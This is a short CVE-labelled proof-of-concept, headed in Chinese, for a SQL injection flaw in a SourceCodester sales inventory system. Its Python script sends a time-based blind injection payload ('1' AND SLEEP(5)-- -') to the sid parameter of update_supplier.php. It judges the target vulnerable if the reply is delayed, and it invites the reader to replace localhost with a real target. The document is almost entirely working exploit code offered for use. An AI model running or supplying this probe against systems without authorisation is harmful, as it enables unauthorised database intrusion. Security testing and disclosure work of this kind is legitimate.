CVE-2026-4568 SourceCodester销售库存系统SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/update_supplier.php" # Testing payload for time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" params = { "sid": payload } try: print(f"[+] Sending payload to: {target}") response = requests.get(target, params=params, timeout=10) # Check if the response time indicates a delay (SQL Injection) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerable to SQL Injection!") else: print("[+] Not vulnerable or payload failed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_url = "http://localhost" # Replace with actual target check_sqli(target_url)